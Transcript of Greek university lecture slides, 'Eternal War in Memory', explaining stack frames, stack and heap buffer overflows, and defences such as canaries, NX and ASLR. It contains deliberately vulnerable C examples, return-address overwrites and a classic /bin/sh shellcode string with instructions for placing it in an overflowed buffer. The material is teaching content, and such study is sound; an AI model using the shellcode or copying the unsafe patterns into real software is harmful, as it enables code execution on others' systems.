Eternal War in Memory. Dimitris Mitropoulos

Σχετικά έγγραφα
EPL475:Εργαστήριο 5, GDB

Προηγμένοι Μικροεπεξεργαστές. Έλεγχος Ροής Προγράμματος

Εισαγωγή στους Η/Υ. Γιώργος Δημητρίου. Μάθημα 3-4: Προγραμματισμός MIPS. Πανεπιστήμιο Θεσσαλίας - Τμήμα Πληροφορικής

ΗΥ 232 Οργάνωση και Σχεδίαση Υπολογιστών. Intel x86 ISA. Νίκος Μπέλλας Τμήμα Ηλεκτρολόγων Μηχανικών και Μηχανικών ΗΥ

Προγραμματισμός Ι (ΗΥ120)

Λειτουργικά Συστήματα 7ο εξάμηνο, Ακαδημαϊκή περίοδος

Η γλώσσα προγραμματισμού C Οι συναρτήσεις στη C (2)

Δομημένος Προγραμματισμός

ΕΡΓΑΣΤΗΡΙΟ 9: Συμβολοσειρές και Ορίσματα Γραμμής Εντολής

ΔΕΙΚΤΕΣ ΚΑΙ ΔΙΕΥΘΥΝΣΕΙΣ

Διάλεξη 5: Δείκτες και Συναρτήσεις

Δομημένος Προγραμματισμός

ΕΠΛ232 Προγραμματιστικές Τεχνικές και Εργαλεία Δείκτες και Συναρτήσεις (Κεφάλαιο 11, KNK-2ED)

ΕΡΓΑΣΤΗΡΙΟ 9: Συμβολοσειρές και Ορίσματα Γραμμής Εντολής

Δομημένος Προγραμματισμός

Δυναμική δέσμευση και αποδέσμευση μνήμης. Προγραμματισμός II 1

Προγραμματισμός Ι. Συναρτήσεις. Πανεπιστήμιο Πελοποννήσου Τμήμα Πληροφορικής & Τηλεπικοινωνιών

Υποστήριξη διαδικασιών στο υλικό των υπολογιστών

Η γλώσσα προγραμματισμού C Οι συναρτήσεις στη C (2)

Μνήμη Διευθύνσεις Δείκτες. Προγραμματισμός II 1

Προγραμματισμός Υπολογιστών με C++

Ενδεικτική περιγραφή μαθήματος

Προγραμματισμός Ι. Δείκτες. Δημήτρης Μιχαήλ. Τμήμα Πληροφορικής και Τηλεματικής Χαροκόπειο Πανεπιστήμιο

Προγραμματισμός Ι. Δυναμική Διαχείριση Μνήμης. Δημήτρης Μιχαήλ. Ακ. Έτος Τμήμα Πληροφορικής και Τηλεματικής Χαροκόπειο Πανεπιστήμιο

Η γλώσσα προγραμματισμού C Δυναμική διαχείριση μνήμης

Εισαγωγή Βασικές εντολές Εκτέλεση βήµα-βήµα Εξέταση/Ανάθεση GDB-101. Νίκος Ντάρµος Τµήµα Πληροφορικής Πανεπιστήµιο Ιωαννίνων

MIPS functions and procedures

Διαδικασιακός Προγραμματισμός

Προγραμματισμός Η/Υ (ΤΛ2007 )

ΑΡΧΕΣ ΠΡΟΓΡΑΜΜΑΤΙΣΜΟΥ

ΤΕΧΝΙΚΕΣ ΑΝΤΙΚΕΙΜΕΝΟΣΤΡΑΦΟΥΣ ΠΡΟΓΡΑΜΜΑΤΙΣΜΟΥ. Αναφορές Στοίβα και Σωρός Μνήμης Αντικείμενα ως ορίσματα

Διάλεξη 8η: Αλφαριθμητικά (strings)

6. Επιστροφή ελέγχου στο σημείο εκκίνησης

Προγραμματισμός Ι. Δομές Δεδομένων. Δημήτρης Μιχαήλ. Ακ. Έτος Τμήμα Πληροφορικής και Τηλεματικής Χαροκόπειο Πανεπιστήμιο

Η γλώσσα προγραμματισμού C

Συναρτήσεις-Διαδικασίες

Κλήση Συναρτήσεων ΚΛΗΣΗ ΣΥΝΑΡΤΗΣΕΩΝ. Γεώργιος Παπαϊωάννου ( )

Διαδικασίες Ι. ΗΥ 134 Εισαγωγή στην Οργάνωση και στον Σχεδιασμό Υπολογιστών Ι. Διάλεξη 4

Chapter 2. Εντολές : Η γλώσσα του υπολογιστή. (συνέχεια) Η διασύνδεση Υλικού και λογισμικού David A. Patterson και John L.

Εισαγωγή στον Προγραμματισμό

Προγραμματισμός Συστημάτων

Η γλώσσα προγραμματισμού C

ΤΕΧΝΙΚΕΣ ΑΝΤΙΚΕΙΜΕΝΟΣΤΡΑΦΟΥΣ ΠΡΟΓΡΑΜΜΑΤΙΣΜΟΥ. Αναφορές Αντικείμενα ως ορίσματα

ΕΡΓΑΣΤΗΡΙΟ 1 - ΣΗΜΕΙΩΣΕΙΣ

Διδάσκων: Κωνσταντίνος Κώστα Διαφάνειες: Δημήτρης Ζεϊναλιπούρ

Α Β Γ static; printf("%c\n", putchar( A +1)+2); B DB BD. int i = 0; while (++i); printf("*");

Διάλεξη 9: Δυναμική Δέσμευση Μνήμης

Προγραμματισμός Η/Υ (ΤΛ2007 )

Εισαγωγή στο περιβάλλον προγραμματισμού του εργαστηρίου

Σημειώσεις όγδοης εβδομάδας

Αρχές Προγραμματισμού

Αρχιτεκτονική Υπολογιστών

Προγραμματισμός Η/Υ (ΤΛ2007 )

ΛΕΙΤΟΥΡΓΙΚΑ ΣΥΣΤΗΜΑΤΑ II. Υφαντόπουλος Νικόλαος Υποψήφιος Διδάκτορας Contact:

Διάλεξη 7: Συμβολοσειρές, Δείκτες και Παραδείγματα

ΤΕΧΝΙΚΕΣ ΑΝΤΙΚΕΙΜΕΝΟΣΤΡΑΦΟΥΣ ΠΡΟΓΡΑΜΜΑΤΙΣΜΟΥ. Αναφορές Στοίβα και Σωρός Αναφορές-Παράμετροι

Εισαγωγή στον Προγραμματισμό

Hancock. Ζωγραφάκης Ιωάννης Εξαρχάκος Νικόλαος. ΕΠΛ 428 Προγραμματισμός Συστημάτων

Διάλεξη 10: Δομές Δεδομένων Ι (Στοίβες & Ουρές)

Ασφαλής προγραμματισμός σε γλώσσα C

Προγραμματισμός Η/Υ (ΤΛ2007 )

Διάλεξη 11η: Δείκτες, μέρος 1

Εισαγωγή εκτελέσιμου κώδικα σε διεργασίες

Αρχιτεκτονική Υπολογιστών

Κεφάλαιο 1 Buffer Overflow & Buffer Overflow Exploit Overview

Η γλώσσα προγραμματισμού C

Κεφάλαιο 2 Buffer Overflow Exploits

Στοίβες με Δυναμική Δέσμευση Μνήμης

Διάλεξη 18η: Διαχείρηση Αρχείων

Κεφάλαιο 3 Μέθοδοι αντιμετώπισης των Buffer Overflow Exploits

ΔΟΜΗΜΕΝΟΣ ΠΡΟΓΡΑΜΜΑΤΙΣΜΟΣ

Δομημένος Προγραμματισμός (ΤΛ1006)

Chapter 2. Εντολές : Η γλώσσα του υπολογιστή. (συνέχεια) Η διασύνδεση Υλικού και λογισμικού David A. Patterson και John L.

Κεφάλαιο , 3.2: Συναρτήσεις II. (Διάλεξη 12)

Δομημένος Προγραμματισμός. Τμήμα Επιχειρηματικού Σχεδιασμού και Πληροφοριακών Συστημάτων

Εργαστήριο 4. Εαρινό Εξάμηνο ΠΡΟΣΟΧΗ: Αρχίστε νωρίς το Εργαστήριο 4. Οι ασκήσεις είναι πιο απαιτητικές από τα προηγούμενα εργαστήρια.

Ενδεικτικές λύσεις και στατιστικά

Διδάσκων: Παναγιώτης Ανδρέου

Κεφάλαιο 3.1, : Συναρτήσεις I. (Διάλεξη 11)

Writing kernels for fun and profit

Παράλληλη Επεξεργασία

Εργαστήριο Αρ. 1. Εισαγωγή στην Αρχιτεκτονική MIPS. Πέτρος Παναγή Σελ. 1

ΑΡΧΕΣ ΠΡΟΓΡΑΜΜΑΤΙΣΜΟΥ

Μετάφραση ενός Προγράμματος Εξαιρέσεις

Ι Αρχεία δεδομένων, μέρος δεύτερο: δυαδικά αρχεία ΙΙ Δομές δεδομένων (struct)

ΑΣΚΗΣΗ. Ορίζονται μόνο καθολικές ακέραιες μεταβλητές με τη σύνταξη: int varname;

Εισαγωγή στον Προγραμματισμό (με. τη C)

Διαδικασίες ΙI. ΗΥ 134 Εισαγωγή στην Οργάνωση και στον Σχεδιασμό Υπολογιστών Ι. Διάλεξη 5

Διαδικασιακός Προγραμματισμός

Εισαγωγή στο περιβάλλον προγραμματισμού του εργαστηρίου. Λειτουργικά Συστήματα Εργαστήριο Υπολογιστικών Συστημάτων ΕΜΠ

Διαδικασιακός Προγραμματισμός

Εισαγωγή στον δομημένο προγραμματισμό

ΤΕΧΝΙΚΕΣ ΑΝΤΙΚΕΙΜΕΝΟΣΤΡΑΦΟΥΣ ΠΡΟΓΡΑΜΜΑΤΙΣΜΟΥ. Κλάσεις και Αντικείμενα Αναφορές

ΤΕΧΝΙΚΕΣ ΑΝΤΙΚΕΙΜΕΝΟΣΤΡΑΦΟΥΣ ΠΡΟΓΡΑΜΜΑΤΙΣΜΟΥ. Αναφορές Στοίβα και Σωρός μνήμης Αντικείμενα παράμετροι String Interning

Διάλεξη 13η: Δυναμική Διαχείρηση Μνήμης, μέρος 1

Αντικειμενοστραφείς Γλώσσες Προγραμματισμού C++ / ROOT

alpha Language age (3/5) alpha Language Φροντιστήριο Syntax Directed Translation and

Τεχνολογία και Προγραμματισμός Υπολογιστών. Η γλώσσα προγραμματισμού C

C: Από τη Θεωρία στην Εφαρμογή

ΤΕΧΝΙΚΕΣ ΑΝΤΙΚΕΙΜΕΝΟΣΤΡΑΦΟΥΣ ΠΡΟΓΡΑΜΜΑΤΙΣΜΟΥ. Αναφορές Στοίβα και Σωρός Αναφορές-Παράμετροι String Interning

Transcript:

Eternal War in Memory Dimitris Mitropoulos dimitro@di.uoa.gr

Εισαγωγικά functions Μια μέθοδος (function), είναι ένα επαναχρησιμοποιήσιμο (reusable) κομμάτι κώδικα. Ένα πρόγραμμα καθώς εκτελείται μπορεί να καλέσει ένα function και να επιστρέψει (return) αφού αυτό τελειώσει. Ένα function δέχεται ορίσματα (arguments), επιστρέφη μια τιμή, και μπορεί να έχει τοπικές μεταβλητές. που αποθηκεύονται όμως τα ορίσματα και οι τοπικές μεταβλητές;

Εισαγωγικά Stack Όταν ένα function καλείται, τα δεδομένα που τo αφορούν, μαζί με άλλες χρήσιμες πληροφορίες, αποθηκεύονται στην στοίβα (stack) εκτέλεσης. Τα ορίσματα μπαίνουν στην στοίβα πριν την κλήση της συνάρτησης (σε x86 μηχανήματα). Οι τοπικές μεταβλητές αποθηκεύονται και αυτές στην στοίβα. Calling = push. Return = pop.

add (x, y) int add(int x, int y) { int sum; sum = x + y; return(sum); }

Κλήση της add 1 2 Prologue Local Variables s = add (3, 4) 3 Body 5 4 Epilogue Return

Κλήση της add (2) add (x, y) PUSH 4 PUSH 3 Prologue Local Variables CALL add Body Epilogue RET

CALL O Instruction Pointer (IP), δείχνει στην θέση μνήμης από όπου η CPU θα πάρει και θα εκτελέσει το επόμενο instruction. H CALL θα κάνει 2 πράγματα: 1. Θα κάνει push τον IP στην στοίβα, 2. θα πάει (jump) στην διεύθυνση της add. CALL add add RET H RET θα κάνει pop την αποθηκευμένη τιμή του IP.

Στην Στοίβα Stack Pointer (SP): Πάντα δείχνει στην κορυφή της στοίβας. Base Pointer (BP): Πρόκειται για τον frame pointer (θα μιλήσουμε σε λίγο για τα frames). Ο BP δείχνει σε διάφορες περιοχές της στοίβας. BP SP

Ορίσματα BP 4 SP 3

CALL (2) Με το CALL αποθηκεύεται στην στοίβα ο IP. BP 4 3 SP Saved IP

Prologue Ο πρόλογος αποθηκεύει τον παλιό BP, και θέτει τον νέο στην κορυφή της στοίβας. 4 3 Saved IP SP BP Old BP

Local Variables 4 3 Saved IP BP SP Old BP sum

Stack Frame Frame της main 4 3 Frame της add Saved IP BP SP Old BP sum

Functions και Frames κάθε function call οδηγεί στην δημιουργία ενός frame μέσα στη στοίβα. func1 ( ) func2 ( ) SP frame της func1 frame της func2

Functions και Frames (2) func1 ( ) frame της func1 func2 ( ) frame της func2 func3 ( ) SP frame της func3

Functions και Frames (3) όταν ένα function τελειώνει, το αντίστοιχο frame στη στοίβα σταματά να υπάρχει (collapses). func1 ( ) frame της func1 func2 ( ) SP frame της func2 func3 ( ) frame της func3

Frame Pointer Οι τοπικές μεταβλητές και τα ορίσματα μπορούν να εντοπιστούν με βάση τον BP (are relative to the BP): 1. Ορίσματα: ΒΡ + n BP + 12 BP + 8 4 3 Saved IP 2. Τοπικές Μεταβλητές: BP - n BP - 4 BP Old BP sum

Epilogue Ο επίλογος θα καθαρίσει το stack frame και οι τοπικές μεταβλητές σταματούν να υπάρχουν. Κάνει pop τον BP και τον στέλνει στο προηγούμενο frame. Ο SP πλεον δείχνει εκεί που ο IP έχει αποθηκευτεί πριν κληθεί (CALL) η add. BP SP 4 3 Saved IP Old BP sum

Return BP Με το RET instruction γίνεται pop ο αποθηκευμένος IP. Τότε το πρόγραμμα περνά στο επόμενο statement, που βρίσκεται μετά την add. IP SP 4 3 Saved IP Old BP sum

Οργάνωση Μνήμης High Stack Frames Data Some parts initialized with static vars Low Code Read-Only if w => segmentation fault

Frame (πάλι) bottom of stack High argument 2 Frame argument 1 Frame BP Base Pointer BP return address previous base pointer Low Frame Active Stack Pointer SP SP Local Variables

Παράδειγμα (ex1) int function(int a, int b, int c) { char buffer1[5]; char buffer2[10]; return(0); } int main() { } return(function(1, 2, 3));

Runtime ex1 - main Dump of assembler code for function main: 0x08048361 <main+0>: push %ebp 0x08048362 <main+1>: mov %esp,%ebp 0x08048364 <main+3>: sub $0x18,%esp 0x08048367 <main+6>: and $0xfffffff0,%esp 0x0804836a <main+9>: mov $0x0,%eax 0x0804836f <main+14>: sub %eax,%esp 0x08048371 <main+16>: movl $0x3,0x8(%esp) 0x08048379 <main+24>: movl $0x2,0x4(%esp) 0x08048381 <main+32>: movl $0x1,(%esp) 0x08048388 <main+39>: call 0x8048354 <function> 0x0804838d <main+44>: 0x0804838e <main+45>: 0x0804838f <main+46>: End of assembler dump. leave ret nop Prologue Offsets from ESP push arguments for function call push EIP = return addr = main + 44 (32 bit - Debian Linux 2.4.27 - GCC 3.3.5)

Runtime ex1 - function push previous EBP reset EBP to ESP Dump of assembler code for function function: update ESP 0x08048354 <function+0>: push %ebp 0x08048355 <function+1>: mov %esp,%ebp 0x08048357 <function+3>: sub $0x28,%esp 0x0804835a <function+6>: mov $0x0,%eax 0x0804835f <function+11>: leave 0x08048360 <function+12>: ret End of assembler dump. allocate memory mov %ebp,%esp pop %ebp set EIP to return_address (32 bit - Debian Linux 2.4.27 - GCC 3.3.5)

Stack (ex1) c b a 3 2 1 ret_addr_value Old BP buffer1 buffer2 [ ] [ ]

Stack Smashing (ex2) int function(char *input) { char mybuffer[8]; strcpy(mybuffer, input); } return(0); int main() { char buffer[256]; int i; Segmentation fault! for(i=0; i < 255; i++) buffer[i]='a'; } return(function(buffer));

Stack (ex2) ret_addr_value Old BP mybuffer

ένα buffer overflow μας επιτρέπει να αλλάξουμε το return address ενός function

Παράδειγμα (ex3) void function(int a, int b, int c){ char buffer1[5]; char buffer2[10]; long *ret; ret = buffer1 + 24; (*ret) += 8; } void main(){ long x; x = 0; function(1, 2, 3); x = 1; printf( %ld\n",x); } εξαρτάται από το μηχάνημα, τον compiler κ.α.

Stack (ex3) <+36> Old BP buffer1 buffer2 [ ] [ ]

Runtime ex3 - main Dump of assembler code for function main: 0x0000000000400554 <+0>: push %rbp 0x0000000000400555 <+1>: mov %rsp,%rbp 0x0000000000400558 <+4>: sub $0x10,%rsp 0x000000000040055c <+8>: movq $0x0,-0x8(%rbp) 0x0000000000400564 <+16>: mov $0x3,%edx 0x0000000000400569 <+21>: mov $0x2,%esi 0x000000000040056e <+26>: mov $0x1,%edi 0x0000000000400573 <+31>: callq 0x400526 <function> 0x0000000000400578 <+36>: movq $0x1,-0x8(%rbp) 0x0000000000400580 <+44>: mov -0x8(%rbp),%rax 0x0000000000400584 <+48>: mov %rax,%rsi 0x0000000000400587 <+51>: mov $0x400624,%edi 0x000000000040058c <+56>: mov $0x0,%eax 0x0000000000400591 <+61>: callq 0x400400 <printf@plt> 0x0000000000400596 <+66>: nop 0x0000000000400597 <+67>: leaveq 0x0000000000400598 <+68>: retq End of assembler dump. bypass this instruction (64 bit - Ubuntu 16.04.2 LTS - GCC 5.4.0)

Stack (ex3-2) ret += 8 BP buffer1 buffer2 [ ]

άρα μπορούμε να αλλάξουμε το return address ενός frame, και κατά συνέπεια την ροή της εκτέλεσης του προγράμματος!

#include <string.h> #include <stdio.h> Μπορούμε να Αλλάξουμε Local Variables void foo (char *bar) { float My_Float = 10.5; char c[28]; printf("my Float value = %f\n", My_Float); memcpy(c, bar, strlen(bar)); printf("my Float value = %f\n", My_Float); } int main (int argc, char **argv) { foo("my string is too long!!!!! \x10\x10\xc0\x42 ); return 0; }

Application User Input Code

μερικές μέθοδοι που δεν ελέγχουν σωστά το μήκος της εισόδου που θα δεχθούν gets( ), strcpy( ), strcat( ), sprintf( ), scanf( ), κ.α.

User Input (κανένας έλεγχος - ex4) #include <string.h> void foo (char *bar) { char c[12]; strcpy(c, bar); } int main (int argc, char **argv) { foo(argv[1]); return 0; }

Stack (ex4) ret_addr_value Old BP *bar c[11] c[12] c[0]

Stack (ex4-2) \x08 \x35 \xc0 c[11] Α c[11] Α *bar c[11] Α \x80 Α *bar c[11] Α c[11] Α c[11] Α c[11] Α c c[11] Α c[11] Α Α c[12] c[11] Α c[11] Α c[11] Α c[0] Α c[11] Α c[11] Α Α Α c[11] Α

Θα Θέλαμε να Δημιουργήσουμε ένα Shell #include <stdio.h> void main() { char *name[2]; (πλέον τα δικαιώματα αφαιρούνται αυτόματα) } environment parameters name[0] = "/bin/sh"; name[1] = NULL; execve(name[0], name, NULL); filename command line parameters

\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\ x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\ xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\ xff\xff/bin/sh

πως θα μπορούσαμε να εκτελέσουμε αυτόν τον κώδικα; μπορούμε να τον τοποθετήσουμε στον buffer όπου γίνεται η υπερχείλιση. Ύστερα θα βάλουμε το return address να δείχνει μέσα στο buffer, εκεί που ξεκινά το πρόγραμμα αυτό.

buffer BP ret a b c SSSSSSSSSSS SSS 0xD8 0x01 0x02 0x03

Παράδειγμα με Ευπάθεια #include <stdio.h> #include <string.h> void reverse(char *str){ int i=0; char buff[512]; strcpy(buff, str); } i = strlen(buff); while(i >= 0){ printf("%c", buff[i]); i--; } printf("\n"); int main(int argc, char *argv[]){ reverse(argv[1]); return 0; }

Heap Overflows Σε αντίθεση με την στοίβα, στο heap data area μια εφαρμογή μπορεί να δεσμεύει (malloc) και να αποδεσμεύει (free) μνήμη δυναμικά. Αυτή η περιοχή της μνήμης περιέχει δεδομένα που αφορούν το πρόγραμμα (λ.χ. function pointers).

Heap Heap Segment Data Chunk Chunk Size Previous Chunk Size Data Chunk Size Previous Chunk Size objects, big buffers, structs κ.α.

Heap Overflows Παράδειγμα struct toystr { void (* message)(char *); char buffer[20]; };

Heap Overflows Παράδειγμα (2) coolguy = malloc(sizeof(struct toystr)); lameguy = malloc(sizeof(struct toystr)); coolguy->message = &print_cool; lameguy->message = &print_meh; printf("input coolguy's name: ); fgets(coolguy->buffer, 200, stdin); coolguy->buffer[strcspn(coolguy->buffer, "\n")] = 0; printf("input lameguy's name: ); fgets(lameguy->buffer, 20, stdin); lameguy->buffer[strcspn(lameguy->buffer, "\n")] = 0; coolguy->message(coolguy->buffer); lameguy->message(lameguy->buffer);

Αντίμετρα Secure Coding Practices Χρησιμοποίηση των safe equivalets: 1. gets( ) > fgets( ) 2. strcpy( ) > strncpy( ) 3. strcat( ) > strncat( ) 4. sprintf( ) > snprintf( ) 5.

Αντίμετρα Στατική Ανάλυση Από τα πρώτα αυτοματοποιημένα εργαλεία που δημιουργήθηκαν για την ανάλυση κώδικα. Πληθώρα εργαλείων που κάνουν λεκτική ανάλυση (λ.χ. ITS4, RATS). Πολλά false alarms (είσοδος από χρήστη;).

Αντίμετρα Προστασία - non-executable stack Περιοχές της μνήμης (stack, heap) μαρκάρονται ως μη εκτελέσιμές (NX bit).

return-to-libc Εκμετάλλευση της C standard library (libc). Επαναχρησιμοποίηση κώδικα που υπάρχει ήδη (λ.χ. την εντολή system). Το αν είναι ενεργοποιημένο το NX bit δεν παίζει ρόλο επειδή ο εκτελέσιμος κώδικας υπάρχει ήδη σε διαφορετικό μέρος της μνήμης που είναι εκτελέσιμο..

Χάρτης της Μνήμης Stack End Heap.data segment Libraries (libc) Runtime Memory Start

Αντίμετρα Προστασία - Canaries 1 ret_addr_value Old BP Canary [ ] πριν χρησιμοποιηθεί το return address θα ελεγχθεί η τιμή του

Τύποι Διαφορετικών Canaries Terminator: περιέχουν EOF, NULL κ.α. Random: περιέχουν τυχαίες λέξεις. Random XOR: random canaries που έχουν γίνει XOR με διαφορετικά δεδομένα της στοίβας. Ο επιτιθέμενος θα πρέπει να μαντέψει τι περιέχει το canary, ή να το αποφύγει.

Αντίμετρα Προστασία - ASLR ASLR: Address Space Layout Randomization Συνεχής αλλαγή των διευθύνσεων μνήμης (stack, heap, libraries). Πηγή εικόνας: https://en.wikipedia.org/wiki/pax

Βιβλιογραφία Brian W. Kernighan and Dennis M. Ritchie. The C Programming Language. 2nd Edition. Prentice Hall. 2 edition, April 1, 1988. ISBN-10: 0131103628 Diomidis Spinellis. Code Quality: The Open Source Perspective. Addison Wesley, 2006. Aleph One. Smashing The Stack For Fun And Profit. [Online]. Available: http://phrack.org/issues/ 49/14.html. Laszlo Szekeres, Mathias Payer, Tao Wei, and Dawn Song. SoK: Eternal War in Memory. In Proceedings of the 2013 IEEE Symposium on Security and Privacy (SP '13). IEEE Computer Society, Washington, DC, USA, 48-62. John Viega, J. T. Bloch, Y. Kohno, Gary McGraw. ITS4: A Static Vulnerability Scanner for C and C++ Code. In Proceedings of the 2000 Annual Computer Security Applications Conference (ACSAC). Brian Chess and Gary McGraw.Static analysis for security. IEEE Security & Privacy. Volume: 2 Issue: 6. December 2004. Much ado about NULL: Exploiting a kernel NULL dereference. Ksplice blog, ORACLE. 2010. [Online]. Available: https://blogs.oracle.com/ksplice/much-ado-about-null:-an-introduction-to-virtual-memory Data Execution Prevention. Hewlett Packard. 2005. [Online]. Available: http://h10032.www1.hp.com/ ctg/manual/c00387685.pdf Heap Exploitation. Markus Gaasedelen. Lecture Notes. 2015. [Online]. Available: http:// security.cs.rpi.edu/courses/binexp-spring2015/lectures/17/10_lecture.pdf.